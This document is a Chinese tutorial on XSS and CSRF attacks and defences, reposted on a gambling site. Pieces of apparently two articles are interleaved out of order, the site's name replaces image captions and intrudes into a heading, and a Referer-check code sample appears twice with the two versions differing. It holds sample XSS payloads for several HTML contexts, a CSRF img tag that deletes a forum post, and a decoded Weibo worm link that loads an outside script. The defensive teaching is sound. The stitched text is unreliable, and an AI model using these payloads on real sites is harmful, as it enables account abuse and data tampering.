XSS钓鱼

关于网站钓鱼,详细大家应该也不陌生了。

就是伪造一个高度相似的网站,欺骗用户在钓鱼网站上面填写账号密码或者进行交易。

而XSS钓鱼也是利用同样的原理。

注入页面的恶意代码,会弹出一个想死的弹窗,提示用户输入账号密码登陆。

当用户输入后点击发送,这些资料已经去到了攻击者的服务器上了。

如:

澳门新浦京娱乐场网站 17

img

通过 Cookie 进行 CSRF 攻击

假设有一个 bbs 站点:http://www.c.com,当登录后的用户发起如下 GET 请求时,会删除 ID 指定的帖子:

1
http://www.c.com:8002/content/delete/:id

如发起 http://www.c.com:8002/content/delete/87343 请求时,会删除 id 为 87343 的帖子。当用户登录之后,会设置如下 cookie:

res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

1
res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

澳门新浦京娱乐场网站 18

user 对应的值是用户 ID。然后构造一个页面 A:

CSRF 攻击者准备的网站:

<p>CSRF 攻击者准备的网站:</p> <img src=";

1
2
<p>CSRF 攻击者准备的网站:</p>
<img src="http://www.c.com:8002/content/delete/87343">

页面 A 使用了一个 img 标签,其地址指向了删除用户帖子的链接:

澳门新浦京娱乐场网站 19

可以看到,当登录用户访问攻击者的网站时,会向 www.c.com 发起一个删除用户帖子的请求。此时若用户在切换到 www.c.com 的帖子页面刷新,会发现ID 为 87343 的帖子已经被删除。

由于 Cookie 中包含了用户的认证信息,当用户访问攻击者准备的攻击环境时,攻击者就可以对服务器发起 CSRF 攻击。在这个攻击过程中,攻击者借助受害者的 Cookie 骗取服务器的信任,但并不能拿到 Cookie,也看不到 Cookie 的内容。而对于服务器返回的结果,由于浏览器同源策略的限制,攻击者也无法进行解析。因此,攻击者无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。

但若 CSRF 攻击的目标并不需要使用 Cookie,则也不必顾虑浏览器的 Cookie 策略了。

CSS History Hack

CSS History Hack是一个有意思的东西。它结合 浏览器历史记录 和 CSS的伪类:a:visited,通过遍历一个网址列表来获取其中<a>标签的颜色,就能知道用户访问过什么网站。

相关链接:http://ha.ckers.org/weird/CSS-history-hack.html

PS:目前最新版的Chrome、Firefox、Safari已经无效,Opera 和 IE8以下 还可以使用。

CSRF 攻击的防范

当前,对 CSRF 攻击的防范措施主要有如下几种方式。

XSS Worm

XSS Worm,即XSS蠕虫,是一种具有自我传播能力的XSS攻击,杀伤力很大。

引发 XSS蠕虫 的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要同时结合 反射型XSS 和 存储型XSS 。

案例:Samy Worm、新浪微博XSS攻击

验证码

验证码被认为是对抗 CSRF 攻击最简洁而有效的防御方法。

从上述示例中可以看出,CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求。因为通常情况下,验证码能够很好地遏制 CSRF 攻击。

但验证码并不是万能的,因为出于用户考虑,不能给网站所有的操作都加上验证码。因此,验证码只能作为防御 CSRF 的一种辅助手段,而不能作为最主要的解决方案。

新浪微博XSS攻击

这张图,其实已经是XSS蠕虫传播阶段的截图了。

攻击者要让XSS蠕虫成功被激活,应该是通过 私信 或者 @微博 的方式,诱惑一些微博大号上当。

当这些大号中有人点击了攻击链接后,XSS蠕虫就被激活,开始传播了。

澳门新浦京娱乐场网站 20

img

这个XSS的漏洞,其实就是没有对地址中的变量进行过滤。

把上图的链接decode了之后,我们就可以很容易的看出,这个链接的猫腻在哪里。

链接上带的变量,直接输出页面,导致外部JavaScript代码成功注入。

传播链接:http://weibo.com/pub/star/g/xyyyd">?type=update

把链接decode之后:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cnt.js></script>?type=update

澳门新浦京娱乐场网站 21

img

相关XSS代码这里就不贴了,Google一下就有。

其实也要感谢攻击者只是恶作剧了一下,让用户没有造成实际的损失。

网上也有人提到,如果这个漏洞结合XSS钓鱼,再配合隐性传播,那样杀伤力会更大。


Referer Check

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。通过 Referer Check,可以检查请求是否来自合法的”源”。

比如,如果用户要删除自己的帖子,那么先要登录 www.c.com,然后找到对应的页面,发起删除帖子的请求。此时,Referer 的值是 http://www.c.com;当请求是从 www.a.com 发起时,Referer 的值是 http://www.a.com 了。因此,要防御 CSRF 攻击,只需要对于每一个删帖请求验证其 Referer 值,如果是以 www.c.com 开头的域名,则说明该请求是来自网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是 CSRF 攻击,可以拒绝该请求。

针对上文的例子,可以在服务端增加如下代码:

if (req.headers.referer !== '') { res.write('csrf 攻击'); return; }

1
2
3
4
if (req.headers.referer !== 'http://www.c.com:8002/') {
    res.write('csrf 攻击');
    return;
}

澳门新浦京娱乐场网站 22

Referer Check 不仅能防范 CSRF 攻击,另一个应用场景是 “防止图片盗链”。

XSS 防御技巧

添加 token 验证

CSRF 攻击之所以能够成功,是因为攻击者可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

HttpOnly

服务器端在设置安全级别高的Cookie时,带上HttpOnly的属性,就能防止JavaScript获取。

PHP设置HttpOnly:

1 <?
2 header("Set-Cookie: a=1;", false);
3 header("Set-Cookie: b=1;httponly", false);
4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);

PS:手机上的QQ浏览器4.0,居然不支持httponly,而3.7的版本却没问题。测试平台是安卓4.0版本。

估计是一个低级的bug,已经向QQ浏览器那边反映了情。

截止时间:2013-01-28

总结

本文主要介绍了 XSS 和 CSRF 的攻击原理和防御措施。当然,在 Web 安全领域,除了这两种常见的攻击方式,也存在这 SQL 注入等其它攻击方式,这不在本文的讨论范围之内,如果你对其感兴趣,可以阅读SQL注入技术专题的专栏详细了解相关信息。最后,总结一下 XSS 攻击和 CSRF 攻击的常见防御措施:

  1. 防御 XSS 攻击
    • HttpOnly 防止劫取 Cookie
    • 用户的输入检查
    • 服务端的输出检查
  2. 防御 CSRF 攻击
    • 验证码
    • Referer Check
    • Token 验证

<完>

输入检查

任何用户输入的数据,都是“不可信”的。

输入检查,一般是用于输入格式检查,例如:邮箱、电话号码、用户名这些...

都要按照规定的格式输入:电话号码必须纯是数字和规定长度;用户名除 中英文数字 外,仅允许输入几个安全的符号。

输入过滤不能完全交由前端负责,前端的输入过滤只是为了避免普通用户的错误输入,减轻服务器的负担。

因为攻击者完全可以绕过正常输入流程,直接利用相关接口向服务器发送设置。

所以,前端和后端要做相同的过滤检查。

参考资料

  • Cross-site scripting
  • CSRF 攻击的应对之道
  • 《白帽子讲 Web 安全》

    1 赞 收藏 评论

澳门新浦京娱乐场网站 23

输出检查

相比输入检查,前端更适合做输出检查。

可以看到,HttpOnly和前端没直接关系,输入检查的关键点也不在于前端。

那XSS的防御就和前端没关系了?

当然不是,随着移动端web开发发展起来了,Ajax的使用越来越普遍,越来越多的操作都交给前端来处理。

前端也需要做好XSS防御。

JavaScript直接通过Ajax向服务器请求数据,接口把数据以JSON格式返回。前端整合处理数据后,输出页面。

所以,前端的XSS防御点,在于输出检查。

但也要结合XSS可能发生的场景

XSS注意场景

在HTML标签中输出

如:<a href=# >{$var}</a>

风险:{$var} 为 <img src=# onerror="/xss/" />

防御手段:变量HtmlEncode后输出

在HTML属性中输出

如:<div data-num="{$var}"></div>

风险:{$var} 为 " onclick="/xss/

防御手段:变量HtmlEncode后输出

在标签中输出

如:<script>var num = {$var};</script>

风险:{$var} 为 1; alert(/xss/)

防御手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。

在事件中输出

如:<span onclick="fun({$var})">hello!click me!</span>

风险:{$var} 为 ); alert(/xss/); //

防御手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。

在CSS中输出

一般来说,尽量禁止用户可控制的变量在<style>标签和style属性中输出。

在地址中输出

如:<a href=";

风险:{$var} 为 " onclick="alert(/xss/)

防御手段:对URL中除 协议(Protocal) 和 主机(Host) 外进行URLEncode。如果整个链接都由变量输出,则需要判断是不是http开头。

HtmlEncode

对下列字符实现编码

& ——》 &

< ——》 <

> ——》 >

" ——》 "

' ——》 ' (IE不支持')

/ ——》 /

JavaScriptEncode

对下列字符加上反斜杠

" ——》 "

' ——》 '

——》

n ——》 n

r ——》 r (Windows下的换行符)

例子: "".replace(//g, "\"); //return

推荐一个JavaScript的模板引擎:artTemplate

URLEncode

使用以下JS原生方法进行URI编码和解码:

  • encodeURI
  • decodeURI
  • decodeURIComponent
  • encodeURIComponent

CSRF(Cross-site request forgery)

澳门新浦京娱乐场网站 24

img

CSRF 即:跨站点请求伪造

网站A :为恶意网站。

网站B :用户已登录的网站。

当用户访问 A站 时,A站 私自访问 B站 的操作链接,模拟用户操作。

假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723

A站 直接访问该链接,就能删除用户在 B站 的评论。

CSRF 的攻击策略

因为浏览器访问 B站 相关链接时,会向其服务器发送 B站 保存在本地的Cookie,以判断用户是否登陆。所以通过 A站 访问的链接,也能顺利执行。


CSRF 防御技巧

验证码

几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF的攻击。

验证码算是对抗CSRF攻击最简洁有效的方法。

但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码。

只有一些关键的操作,才能要求输入验证码。

澳门新浦京娱乐场网站:从互联网诞生起。不过随着HTML5的发展。

利用canvas标签,前端也能识别验证码的字符,让CSRF生效。

Referer Check

Referer Check即来源检测。

HTTP Referer 是 Request Headers 的一部分,当浏览器向web服务器发出请求的时候,一般会带上Referer,告诉服务器用户从哪个站点链接过来的。

服务器通过判断请求头中的referer,也能避免CSRF的攻击。

Token

CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。

既然知道根本原因,我们就对症下药,利用Token。

当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。

Token可以存放在用户浏览器的Cookie中,

当用户提交表单时带上Token值,服务器就能验证表单和Cookie中的Token是否一致。

(前提,网站没有XSS漏洞,攻击者不能通过脚本获取用户的Cookie)

最后,送上 HTML安全备忘列表:http://heideri.ch/jso/

本文链接:http://www.cnblogs.com/maplejan/archive/2013/01/28/2880771.html

作者:Maple Jan

参考:

《白帽子讲Web安全 》

https://developer.mozilla.org/zh-CN/docs/JavaScript的同源策略

http://coolshell.cn/articles/4914.html

http://aui.github.com/artTemplate/

本文由澳门新浦京娱乐场网站发布于新浦京娱乐场官网,转载请注明出处:澳门新浦京娱乐场网站:从互联网诞生起